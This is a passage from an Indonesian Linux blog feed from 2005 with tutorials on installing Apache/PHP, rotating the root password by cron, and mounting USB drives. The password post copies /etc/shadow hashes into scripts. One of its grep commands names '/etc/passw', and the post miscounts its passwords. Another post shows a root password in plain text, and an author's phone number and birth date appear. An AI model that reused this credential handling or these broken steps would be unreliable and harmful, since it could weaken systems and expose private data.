16:55   0:00 /usr/local/apache2/bin/httpd -k start &lt;br /&gt;nobody    3526  0.0  2.1  5936 2696 ?        S    16:55   0:00 /usr/local/apache2/bin/httpd -k start &lt;br /&gt;nobody    3527  0.0  2.1  5936 2696 ?        S    16:55   0:00 /usr/local/apache2/bin/httpd -k start &lt;br /&gt;nobody    3528  0.0  2.1  5936 2696 ?        S    16:55   0:00 /usr/local/apache2/bin/httpd -k start &lt;br /&gt;nobody    3529  0.0  2.1  5936 2696 ?        S    16:55   0:00 /usr/local/apache2/bin/httpd -k start &lt;br /&gt;&lt;br /&gt;apabila mendapatkan keluaran seperti yang diatas ini, berarti instalasi apache berjalan dengan baik. &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;5. Instalasi php &lt;br /&gt;&lt;br /&gt;Tahapan terakhir adalah install php nya sendiri. mari kita kembali ke directory /usr/local/src dan memulai dengan extrak dan installasi &lt;br /&gt;root@gateway:/usr/local/src# tar zxvf /home/bdul/php-4.2.3.tar.gz &lt;br /&gt;root@gateway:/usr/local/src# cd php-4.2.3 &lt;br /&gt;root@gateway:/usr/local/src# ./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql \ &lt;br /&gt;--with-sybase=/usr/local/freetds --with-mssql=/usr/local/freetds &lt;br /&gt;root@gateway:/usr/local/src# make &lt;br /&gt;root@gateway:/usr/local/src# make install &lt;br /&gt;&lt;br /&gt;kopikan php.ini ke directory /usr/local/lib/php.ini &lt;br /&gt;root@gateway:/usr/local/src# cp php.ini-dist /usr/local/lib/php.ini &lt;br /&gt;&lt;br /&gt;edit file httpd.conf pada directory /usr/local/apache2/conf/ dan tambahkan baris berikut &lt;br /&gt;LoadModule php4_module libexec/libphp4.so &lt;br /&gt;AddType application/x-httpd-php .php .phtml &lt;br /&gt;AddType application/x-httpd-php-source .phps &lt;br /&gt;&lt;br /&gt;restart apache anda dengan perintah berikut &lt;br /&gt;root@gateway:/usr/local/src#  /usr/local/apache2/bin/apachectl restart &lt;br /&gt;&lt;br /&gt;buat file test.php dan letakkan di directory /usr/local/apache2/htdocs. isi file adalah sebagai berikut : &lt;br /&gt;&lt;? &lt;br /&gt;phpinfo(); &lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt;coba akses file tersebut melalui browser anda, apabila ada keterangan konfigurasi php maka keseluruhan installasi berjalan dengan sukses :-) &lt;br /&gt;jangan lupa untuk mengucapkan 'Alhamdulillah hirobbil alamin' &lt;br /&gt;&lt;br /&gt;6. Referensi &lt;br /&gt;www.apache.org&lt;br /&gt;www.php.net&lt;br /&gt;www.mysql.org&lt;br /&gt;www.freetds.org&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111020459859744715?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111020459859744715/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111020459859744715' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111020459859744715'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111020459859744715'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/instalasi-web-server-apache-support.html' title='Instalasi web server apache support php, ms-sql dan mysql'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111020152990698635</id><published>2005-03-07T05:13:00.000-08:00</published><updated>2005-03-07T05:18:49.910-08:00</updated><title type='text'>Pengamanan Shadow Password dengan Bash Scripting + Crontab</title><content type='html'>1. Persiapan&lt;br /&gt;&lt;br /&gt;Login ke level Superuser, lalu buatlah direktori untuk menyimpan file2 shadow password dan direktori untuk file2 script-nya. Terserah anda mau membuatnya dimana.....  yang penting  mudah dimengerti. Saya meletakkan file2 shadownya di  /home/backup/etc dan untuk file script-nya di /home/backup/script.&lt;br /&gt;Lalu backup /etc/shadow ke direktori yg telah anda buat, untuk berjaga-jaga ......... jikalau anda lupa passwd rootnya ....... tinggal di recovery saja .........&lt;br /&gt;&lt;br /&gt;  [sysadmin@notebook]$ /bin/su root &lt;br /&gt;  [root@notebook]# cd /home&lt;br /&gt;  [root@notebook]# mkdir -p backup/etc&lt;br /&gt;  [root@notebook]# mkdir -p backup/script&lt;br /&gt;&lt;br /&gt;  [root@notebook]# cp /etc/shadow /home/backup/etc&lt;br /&gt;  [root@notebook]# chmod 600 backup&lt;br /&gt;- &lt;br /&gt;Langkah 1. Disini kita membuat passwd baru untuk root&lt;br /&gt;- &lt;br /&gt;  [root@notebook]# passwd&lt;br /&gt;  Changing password for root&lt;br /&gt;  Enter the new password (minimum of 5, maximum of 127 characters)&lt;br /&gt;  Please use a combination of upper and lower case letters and numbers.&lt;br /&gt;  New password: &lt;br /&gt;  Re-enter new password: &lt;br /&gt;- &lt;br /&gt;Langkah 2. Kemudian kutip baris yang mengandung kata "root" pada /etc/shadow&lt;br /&gt;-&lt;br /&gt;  [root@notebook]# grep ^root /etc/passw &gt; /home/backup/etc/shadow0&lt;br /&gt;&lt;br /&gt;Ulangi lagi langkah 1 dengan passwd yang berbeda, dimana pada langkah 2 anda buat spt ini :&lt;br /&gt;-&lt;br /&gt;  [root@notebook]# grep ^root /etc/passw &gt; /home/backup/etc/shadow1&lt;br /&gt;&lt;br /&gt;Ulangi terus dari langkah1 dan langkah 2  tadi.....  jangan lupa untuk mengutip passwd root yang telah anda buat berbeda-beda &lt;br /&gt;-&lt;br /&gt;  [root@notebook]# grep ^root /etc/passw &gt; /home/backup/etc/shadow2&lt;br /&gt;  [root@notebook]# grep ^root /etc/passw &gt; /home/backup/etc/shadow3&lt;br /&gt;  [root@notebook]# grep ^root /etc/passw &gt; /home/backup/etc/shadow4&lt;br /&gt;  [root@notebook]# grep ^root /etc/passw &gt; /home/backup/etc/shadow5&lt;br /&gt;-&lt;br /&gt;Ubah permission filenya, lalu lihat apakah file yang memiliki kutipan shadow passwd root sudah komplit ada 6 file -&lt;br /&gt;-&lt;br /&gt;  [root@notebook]# chmod 600 /home/backup/etc/*&lt;br /&gt;  [root@notebook]# ls -l /home/backup/etc/&lt;br /&gt;  -rw-------  1 root root    53 2004-09-12 21:10 shadow0&lt;br /&gt;  -rw-------  1 root root    53 2004-09-12 21:11 shadow1&lt;br /&gt;  -rw-------  1 root root    53 2004-09-12 21:11 shadow2&lt;br /&gt;  -rw-------  1 root root    53 2004-09-12 21:11 shadow3&lt;br /&gt;  -rw-------  1 root root    53 2004-09-12 21:11 shadow4&lt;br /&gt;  -rw-------  1 root root    53 2004-09-12 21:11 shadow5&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2.  Pembuatan Script&lt;br /&gt;&lt;br /&gt;Pada bagian ini kita akan membuat script yang berfungsi untuk mengubah password /etc/shadow dengan file kutipan shadow passwd root yang anda backup tadi.&lt;br /&gt;Masuk ke direktori /home/backup/script, lalu isi file script tersebut dengan  editing favorit anda....&lt;br /&gt;-&lt;br /&gt;  [root@notebook]# cd /home/backup/script/&lt;br /&gt;  [root@notebook]# vim ubah0&lt;br /&gt;  #!/bin/bash&lt;br /&gt;  backupfile="/home/backup/etc/shadow0"&lt;br /&gt;  usermod  -p"`cut -f2 -d: $backupfile`"  root&lt;br /&gt;- &lt;br /&gt;  [root@notebook]# vim ubah1&lt;br /&gt;  #!/bin/bash&lt;br /&gt;  backupfile="/home/backup/etc/shadow1"&lt;br /&gt;  usermod  -p"`cut -f2 -d: $backupfile`"  root&lt;br /&gt;- &lt;br /&gt;Buat 6 file script (ubah0, ubah1  s/d  ubah5), perhatikan penomoran script maupun penomoran shadow-nya, karena itu bagian yang  sensitif .......... ^_^&lt;br /&gt;Setelah ke 6 script tersebut selesai dibuat, ubah permission scriptnya ...... &lt;br /&gt;-&lt;br /&gt;  [root@notebook]# chmod 700 /home/backup/script/*&lt;br /&gt;  [root@notebook]# ls -l /home/backup/script/&lt;br /&gt;  -rwx------  1 root root 114 2004-09-12 21:18 ubah0&lt;br /&gt;  -rwx------  1 root root 114 2004-09-12 21:17 ubah1&lt;br /&gt;  -rwx------  1 root root 114 2004-09-12 21:18 ubah2&lt;br /&gt;  -rwx------  1 root root 114 2004-09-12 21:18 ubah3&lt;br /&gt;  -rwx------  1 root root 114 2004-09-12 21:18 ubah4&lt;br /&gt;  -rwx------  1 root root 114 2004-09-12 21:18 ubah5 &lt;br /&gt;&lt;br /&gt;3.  Mengatur Waktu Eksekusi Script Pengubah Shadow Password Pada Crontab&lt;br /&gt;&lt;br /&gt;Pada Skenario ini, aku mengatur script tsb agar dieksekusi setiap 5 menit sekali ..........  ^_^ &lt;br /&gt;Dimana pada menit ke 1 s/d  29 ... akan meng-eksekusi script ubah0-5, dan pada menit ke 30 s/d 59 akan mengulangi proses eksekusi dari scrip ubah0 lagi .&lt;br /&gt;&lt;br /&gt;Tambahkan line ini pada /var/spool/cron/crontabs/root&lt;br /&gt;-&lt;br /&gt;  00 * * * * /home/backup/script/./ubah0&lt;br /&gt;  05 * * * * /home/backup/script/./ubah1&lt;br /&gt;  10 * * * * /home/backup/script/./ubah2&lt;br /&gt;  15 * * * * /home/backup/script/./ubah3&lt;br /&gt;  20 * * * * /home/backup/script/./ubah4&lt;br /&gt;  25 * * * * /home/backup/script/./ubah5&lt;br /&gt;  30 * * * * /home/backup/script/./ubah0&lt;br /&gt;  35 * * * * /home/backup/script/./ubah1&lt;br /&gt;  40 * * * * /home/backup/script/./ubah2&lt;br /&gt;  45 * * * * /home/backup/script/./ubah3&lt;br /&gt;  50 * * * * /home/backup/script/./ubah4&lt;br /&gt;  55 * * * * /home/backup/script/./ubah5&lt;br /&gt;- &lt;br /&gt;Restart crond anda &lt;br /&gt;-&lt;br /&gt; [root@notebook]# killall -HUP crond&lt;br /&gt;- &lt;br /&gt;Lihat penampakan proses eksekusi cronnya di /var/log/cron, perhatikan baik-baik waktunya ............. ^_^&lt;br /&gt;-&lt;br /&gt;  [root@notebook]# tail -f /var/log/cron&lt;br /&gt;  Sep 12 23:00:01 iman crond[3550]: USER root pid 3555 cmd /home/backup/script/./ubah0&lt;br /&gt;  Sep 12 23:05:01 iman crond[3550]: USER root pid 3555 cmd /home/backup/script/./ubah1&lt;br /&gt;  Sep 12 23:10:01 iman crond[3550]: USER root pid 3555 cmd /home/backup/script/./ubah2&lt;br /&gt;  Sep 12 23:15:01 iman crond[3550]: USER root pid 3555 cmd /home/backup/script/./ubah3&lt;br /&gt;  Sep 12 23:20:01 iman crond[3550]: USER root pid 3555 cmd /home/backup/script/./ubah4&lt;br /&gt;  Sep 12 23:25:01 iman crond[3550]: USER root pid 3555 cmd /home/backup/script/./ubah5&lt;br /&gt;  Sep 12 23:30:01 iman crond[3550]: USER root pid 3555 cmd /home/backup/script/./ubah0&lt;br /&gt;&lt;br /&gt;  .&lt;br /&gt;  .&lt;br /&gt;  dst ....&lt;br /&gt;&lt;br /&gt;Ikuti juga perubahan passwd rootnya&lt;br /&gt;-&lt;br /&gt;  [root@notebook]# tail -f /var/log/secure&lt;br /&gt;  Sep 12 23:00:01 iman usermod[3519]: change user `root' password&lt;br /&gt;  Sep 12 23:05:01 iman usermod[3519]: change user `root' password&lt;br /&gt;  Sep 12 23:10:01 iman usermod[3519]: change user `root' password&lt;br /&gt;  Sep 12 23:15:01 iman usermod[3519]: change user `root' password&lt;br /&gt;  Sep 12 23:20:01 iman usermod[3524]: change user `root' password&lt;br /&gt;  Sep 12 23:25:01 iman usermod[3530]: change user `root' password&lt;br /&gt;  Sep 12 23:30:02 iman usermod[3533]: change user `root' password&lt;br /&gt;  .&lt;br /&gt;  .&lt;br /&gt;  dst ....&lt;br /&gt;-&lt;br /&gt;Sekarang passwd root anda telah diubah otomatis menggunakan 5 passwd yang berbeda setiap 5 menit......  silahkan anda tambahkan lagi  passwdnya jika merasa hal diatas masih kurang secure ..... dengan menambahkan shadow6 s/d seterusnya...  atau juga anda set saja tiap menit passwdnya berubah2 terus. &lt;br /&gt;&lt;br /&gt;Jangan sampe lupa passwdnya ............ ^_^&lt;br /&gt;&lt;br /&gt;Selamat mencoba, Salam dari Medan City&lt;br /&gt;&lt;br /&gt;5. Referensi&lt;br /&gt;&lt;br /&gt;    1.  Manual page cut&lt;br /&gt;    2.  Manual page crond &lt;br /&gt;    3.  Manual page crontab&lt;br /&gt;    4.  Manual page usermod&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111020152990698635?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111020152990698635/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111020152990698635' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111020152990698635'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111020152990698635'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/pengamanan-shadow-password-dengan-bash.html' title='Pengamanan Shadow Password dengan Bash Scripting + Crontab'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111020112671431844</id><published>2005-03-07T05:10:00.000-08:00</published><updated>2005-03-07T05:12:06.716-08:00</updated><title type='text'>Flashdisk di Linux</title><content type='html'>Flashdisk ato orang menyebutnya usb flashdisk adalah piranti kecil penyimpan data portable yang bisa dipakai disemua OS termasuk Linux, untuk mengaktifkan flashdisk ini cukup mudah, syaratnya hanya kernel yang support / mendukung USB, dan biasanya setiap distro (kernel default/bawaan sudah support USB)&lt;br /&gt;&lt;br /&gt;1. Cek module usb&lt;br /&gt;Ceklah modul USB apakah sudah terpasang atau belum caranya:&lt;br /&gt;ketik lsmod | grep usb; lsmod | grep ehci &lt;br /&gt;jika sudah terpasang akan terlihat kurang lebih seperti ini:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;dihack@idban:~&gt; lsmod | grep usb; lsmod | grep ehci&lt;br /&gt;usb-storage            71168   0&lt;br /&gt;scsi_mod               97248   5 [sd_mod st sr_mod sg usb-storage]&lt;br /&gt;usb-uhci               23888   0 (unused)&lt;br /&gt;usbcore                64844   1 [usb-storage usb-uhci ehci-hcd]&lt;br /&gt;ehci-hcd               18284   0 (unused)&lt;br /&gt;usbcore                64844   1 [usb-storage usb-uhci ehci-hcd]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Catatan: jangan lihat angka - angkanya, tapi perhatikan nama modulenya seperti usb-storage, scsi_mod dan lain lain, jangan lupa untuk memasang juga modul vfat atau fat, karena biasanya type partisi yang digunakan flashdisk adalah FAT16 &lt;br /&gt;&lt;br /&gt;2. Pasang module usb&lt;br /&gt;Jika module module tadi tidak terpasang, pasanglah satu persatu dng perintah: modprobe nama_module&lt;br /&gt;misalnya modprobe usb-strorage&lt;br /&gt;&lt;br /&gt;3. Pasang dan Cek flashdisk&lt;br /&gt;Jika semuanya sudah tepasang, pasanglah flashdisk tadi ke port USB, kemudian jalankan printah dmesg untuk melihat apa yang terjadi&lt;br /&gt;&lt;br /&gt;dihack@idban:&gt; dmesg&lt;br /&gt;.....skipped&lt;br /&gt;hub.c: new USB device 00:1d.7-3, assigned address 7&lt;br /&gt;WARNING: USB Mass Storage data integrity not assured&lt;br /&gt;USB Mass Storage device found at 7&lt;br /&gt;SCSI device sda: 251904 512-byte hdwr sectors (129 MB)&lt;br /&gt;sda: Write Protect is off&lt;br /&gt; sda: sda4&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;contoh diatas adalah flashdisk yang terdeteksi pada Linux dan berada pada SCSI pertama (sda) ini dapat berbeda beda tiap komputer.&lt;br /&gt;&lt;br /&gt;4. Cek Type flashdisk&lt;br /&gt;Setelah ini cek type partisi flashdisknya, dengan cara:&lt;br /&gt;sfdisk -l /dev/sda&lt;br /&gt;&lt;br /&gt;idban:/root # /sbin/sfdisk -l /dev/sda&lt;br /&gt;&lt;br /&gt;Disk /dev/sda: 246 cylinders, 32 heads, 32 sectors/track&lt;br /&gt;Units = cylinders of 524288 bytes, blocks of 1024 bytes, counting from 0&lt;br /&gt;&lt;br /&gt;   Device Boot Start     End   #cyls    #blocks   Id  System&lt;br /&gt;/dev/sda1          0       -       0          0    0  Empty&lt;br /&gt;/dev/sda2          0       -       0          0    0  Empty&lt;br /&gt;/dev/sda3          0       -       0          0    0  Empty&lt;br /&gt;/dev/sda4   *      0+    245     246-    125936    6  FAT16&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;terlihat disana flashdisk yang berada di sda menggunakan FAT16 &lt;br /&gt;&lt;br /&gt;5. Edit /etc/fstab&lt;br /&gt;Setelah kita tahu apa type partisinya kemudian buatlah direktory tempat memount flashdisk tadi&lt;br /&gt;misalnya di /mnt/flashdisk dengan perintah mkdir /mnt/flashdisk&lt;br /&gt;Kemudian tambahkan :&lt;br /&gt;&lt;br /&gt;/dev/sda4 /mnt/flashdisk vfat sync,noauto,user,exec 0 0&lt;br /&gt;&lt;br /&gt;atau:&lt;br /&gt;&lt;br /&gt;/dev/sda4 /mnt/flashdisk auto sync,noauto,user,exec 0 0&lt;br /&gt;&lt;br /&gt;pada /etc/fstab &lt;br /&gt;&lt;br /&gt;6. Proses Mount&lt;br /&gt;Setelah semua tadi beres, flashdisk bisa dimount dengan perintah&lt;br /&gt;&lt;br /&gt;mount /dev/sda4&lt;br /&gt;&lt;br /&gt;atau&lt;br /&gt;&lt;br /&gt;mount /mnt/flasdisk&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CATATAN&lt;br /&gt;tahap 2, 4 dan 5 membutuhkan root akses.&lt;br /&gt;==============================================================&lt;br /&gt;&lt;br /&gt;Mount otomatis menggunakan autofs&lt;br /&gt;&lt;br /&gt;Kalo mau mount otomatis bisa menggunakan autofs/automount. Kalo di redhat tinggal edit /etc/auto.master dan uncomment baris terakhir&lt;br /&gt;&lt;br /&gt;        /misc   /etc/auto.misc  --timeout=60&lt;br /&gt;&lt;br /&gt;lalu edit juga /etc/auto.misc dan tambahkan line&lt;br /&gt;&lt;br /&gt;        usbdisk -fstype=vfat,sync,umask=000,uid=500,gid=500 :/dev/sda1&lt;br /&gt;&lt;br /&gt;namanya terserah, bisa "usbdisk" atau "unyil", terserah...&lt;br /&gt;&lt;br /&gt;Lalu jalankan service autofs (bisa anda buat jalan otomatis waktu boot, kalo belum). Sesudah itu, nanti automount akan otomatis mount di /misc/usbdisk setiap kali anda mengakses ke sana (misalnya dg nautilus atau 'cd' dari shell). Tip: coba sambil perhatikan /var/log/messages untuk memahami urutan prosesnya dari mulai colok USB sampe mount.&lt;br /&gt;&lt;br /&gt;LinuxTutorial&lt;br /&gt;&lt;br /&gt;Last edited on Tuesday, March 16, 2004 2:09:08 pm.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111020112671431844?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111020112671431844/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111020112671431844' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111020112671431844'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111020112671431844'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/flashdisk-di-linux.html' title='Flashdisk di Linux'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111020100381440892</id><published>2005-03-07T05:07:00.000-08:00</published><updated>2005-03-07T05:10:03.816-08:00</updated><title type='text'>USB HDD External  di Linux</title><content type='html'>writer:&lt;br /&gt;Iman Rahmadsyah Harahap / a_ir_hrp  (shakysonyo@hotpop.com)&lt;br /&gt;&lt;br /&gt;USB Hdd External merupakan suatu device mobile seperti FlashDisk yang dapat menampung data dengan kapasitas besar dalam ukuran Gigabyte serta bisa digunakan pada Linux.&lt;br /&gt;Device ini merupakan solusi bagi siapa saja yang memiliki keterbatasan kapasitas harddisk, baik notebook, PC ataupun sekedar sebagai data backup.&lt;br /&gt;&lt;br /&gt;Jenis &amp; Ragam device USB External ini sangat banyak, tapi 2 hal yang umum adalah dari segi ukuran hard drivenya yaitu Hdd PC (with Adapter Power) &amp; Hdd Notebook (without Adapter Power). Biasanya perangkat USB External ini dijual terpisah antara casing dengan hdd-nya.&lt;br /&gt;&lt;br /&gt;1. Persiapan perangkat&lt;br /&gt;-  Periksa jumper, terserah anda mau di set sebagai primary, secondary ato lainnya ( Saya lebih suka Primary.... :-p )&lt;br /&gt;-  Pasang bus data (cable data) &amp; cable powernya ke hdd.&lt;br /&gt;-  Baut/mur hdd ke casing jangan lupa di pasang.&lt;br /&gt;-  Sekarang pakaikan bajunya... ehh... salah... pasang casing penutup hdd nya &amp; jgn lupa di baut/mur lagi yach ... :D&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;2. Persiapan Module&lt;br /&gt;-  Gih Baca lagi artikel nya mas Idban ...&lt;br /&gt;-  Sekedar mengulang saja (maaf mas Idban... saya contek dikit), lihat module USB anda sudah terpasangkah ?&lt;br /&gt;   anda dapat melihatnya dengan menjalankan perintah berikut,&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;  sysadmin@iman$ lsmod |grep usb; lsmod |grep ehci&lt;br /&gt;  usb_storage 30464 2&lt;br /&gt;  usbcore 117092 5 ehci_hcd,usb_storage,uhci_hcd&lt;br /&gt;  ehci_hcd 31108 0&lt;br /&gt;  usbcore 117092 5 ehci_hcd,usb_storage,uhci_hcd&lt;br /&gt;&lt;br /&gt;- &lt;br /&gt;&lt;br /&gt;-  Jika module tersebut kelihatan seperti diatas, sampai saat ini anda bisa sedikit lega ...&lt;br /&gt;-  Jika tidak kelihatan silahkan jalankan module2-nya... uppss jangan lupa login sebagai root.....&lt;br /&gt;&lt;br /&gt;- &lt;br /&gt;&lt;br /&gt;  sysadmin@iman$ /bin/su -&lt;br /&gt;  Password:akusayangmama_:-p&lt;br /&gt;  root@iman# modprobe usb_storage&lt;br /&gt;  root@iman# modprobe usbcore&lt;br /&gt;  root@iman# modprobe uhci_hcd&lt;br /&gt;  root@iman# modprobe ehci_hcd&lt;br /&gt;&lt;br /&gt;- &lt;br /&gt;&lt;br /&gt;-  Kalo perintah diatas keluar "FATAL: Module nama_module not found."&lt;br /&gt;   silahkan lihat config kernel anda, aktifkan module-module pendukung usb, lalu compile module nya :-(&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;3. Sentuhan Pertama dan periksa koneksi (Bukan Jaringan yach.... !!)&lt;br /&gt;-  Baca doa ... mudah2an berhasil ...&lt;br /&gt;-  silahkan alirkan listrik ke badannya ... koq badan sih... maaf.. hidupkan power usb hdd external nya :D&lt;br /&gt;-  udah hidup? Atur nafas... nah... sekarang masukkan perlahan2 tapi pasti... ke lubang itu loh... (Awas... jangan piktor !! )&lt;br /&gt;-  sekarang periksa apakah sudah ke detect ato belom? (detik-detik penuh kecemasan)&lt;br /&gt;-&lt;br /&gt;&lt;br /&gt;  root@iman# dmesg&lt;br /&gt;  usb 1-1: new full speed USB device using address 3&lt;br /&gt;  scsi1 : SCSI emulation for USB Mass Storage devices&lt;br /&gt;       Vendor: Maxtor 6 Model: Y080L0 Rev: 0 0&lt;br /&gt;       Type: Direct-Access ANSI SCSI revision: 02&lt;br /&gt;  SCSI device sda: 160086528 512-byte hdwr sectors (81964 MB)&lt;br /&gt;  sda: assuming drive cache: write through&lt;br /&gt;  /dev/scsi/host1/bus0/target0/lun0: p1 p2 p3 &lt; p5 p6 &gt;&lt;br /&gt;  Attached scsi disk sda at scsi1, channel 0, id 0, lun 0&lt;br /&gt;  Attached scsi generic sg0 at scsi1, channel 0, id 0, lun 0, type 0&lt;br /&gt;  USB Mass Storage device found at 3&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; - **fiiuuuhhh ...** (menghela nafas) ... ternyata kedetect... :-D&lt;br /&gt; -  sekarang posisi hdd external anda telah dikenal sebagai sda  ^_^&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;4. Membagi partisi &amp; format&lt;br /&gt;  - masuk ke fdisk /dev/sda, lalu bagi sesuai kebutuhan anda. &lt;br /&gt;    Disini aku bagi menjadi 4 partisi dimana 2 partisi dengan ext3 dan 2 lagi sebagai vfat.&lt;br /&gt;&lt;br /&gt;-&lt;br /&gt;&lt;br /&gt;  root@iman#   fdisk /dev/sda&lt;br /&gt;   Device Boot      Start             End            Blocks        Id     System&lt;br /&gt;  /dev/sda1               1              2615        21004956      83     Linux&lt;br /&gt;  /dev/sda2          2616             5230         21004987+    83     Linux&lt;br /&gt;  /dev/sda3          5231             9964         38025855        5     Extended&lt;br /&gt;  /dev/sda5          5231             7845         21004956        b     W95 FAT32&lt;br /&gt;  /dev/sda6          7846             9964         17020836        b     W95 FAT32&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; -  Setelah partisi dibagi &amp; diberi type nya ... silahkan keluar, huss... huss .. hus... :D&lt;br /&gt; -  Saatnya memformat partisi tersebut (perhatikan pada sda berapa partisi linux anda) &lt;br /&gt;&lt;br /&gt;-&lt;br /&gt;&lt;br /&gt;  root@iman#  mkfs.ext3 /dev/sda1&lt;br /&gt;  mke2fs 1.35 (28-Feb-2004)&lt;br /&gt;  Filesystem label=&lt;br /&gt;  OS type: Linux&lt;br /&gt;  Block size=4096 (log=2)&lt;br /&gt;  Fragment size=4096 (log=2)&lt;br /&gt;  2627520 inodes, 5251246 blocks&lt;br /&gt;  262562 blocks (5.00%) reserved for the super user&lt;br /&gt;  First data block=0&lt;br /&gt;  161 block groups&lt;br /&gt;  32768 blocks per group, 32768 fragments per group&lt;br /&gt;  16320 inodes per group&lt;br /&gt;  Superblock backups stored on blocks:&lt;br /&gt;            32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,&lt;br /&gt;           4096000&lt;br /&gt;  Writing inode tables: done&lt;br /&gt;  Creating journal (8192 blocks): done&lt;br /&gt;  Writing superblocks and filesystem accounting information: done&lt;br /&gt;&lt;br /&gt;- &lt;br /&gt;&lt;br /&gt;5.  Mount partisi &lt;br /&gt;-  buat direktory tempat me-mount partisi dari hdd external anda, lalu mount partisi tersebut&lt;br /&gt;&lt;br /&gt;-&lt;br /&gt;&lt;br /&gt;  root@iman# mkdir  /mnt/sda1&lt;br /&gt;  root@iman# mkdir  /mnt/sda2&lt;br /&gt;  root@iman# mount  /dev/sda1 /mnt/sda1&lt;br /&gt;  root@iman# mount  /dev/sda2 /mnt/sda2&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;-  Anda mau partisi2 tersebut mount secara automount saat booting ataupun saat di colokin?&lt;br /&gt;   Gih Baca lagi artikelnya mas idban ... Ok.... :D&lt;br /&gt;-  Jangan terlalu banyak terguncang pada saat hdd hidup ya...!!! &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;-  Salam dari Medan &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6. Referensi&lt;br /&gt;    Flashdisk - Idban Secandri &lt;br /&gt;    Man fdisk&lt;br /&gt;    Man mount&lt;br /&gt;    Man lsmod&lt;br /&gt;    Man modprobe&lt;br /&gt;    Man mkfs.ext3&lt;br /&gt;    Man si Iman a_ir_hrp .... hehehehe :D&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; SELAMAT MENCOBA&lt;br /&gt;&lt;br /&gt; Salam dari Medan City .....&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------------------&lt;br /&gt;&lt;&lt;--I.R-Harahap-Medan --&gt;&gt;&lt;br /&gt;Aku bukanlah orang yang merasa pandai :-(&lt;br /&gt;Aku selalu menganggap diriku orang yg kekurangan :-(&lt;br /&gt;Dgn kekurangan itulah aku mau belajar agar bisa pandai ^_^&lt;br /&gt;-------------------------------------------------------------------------------------------&lt;br /&gt;- a_ir_hrp&lt;br /&gt;- 081-361-305-777&lt;br /&gt;- Feb, 15 1981&lt;br /&gt;- My site http://iman.medanlinux.com&lt;br /&gt;- Aku Cuman Seorang Manusia biasa&lt;br /&gt;Cara penggunaan device ini sangat mudah seperti menggunakan Flashdisk..... (Ref. Baca artikel mas Idban Secandri ttg Flashdisk )&lt;br /&gt;Nb. 1. Diasumsikan bahwa hdd tsb masih perawan ... eeehhh.... salah.. maaf.. masih belum di bagi atau di format partisinya .. 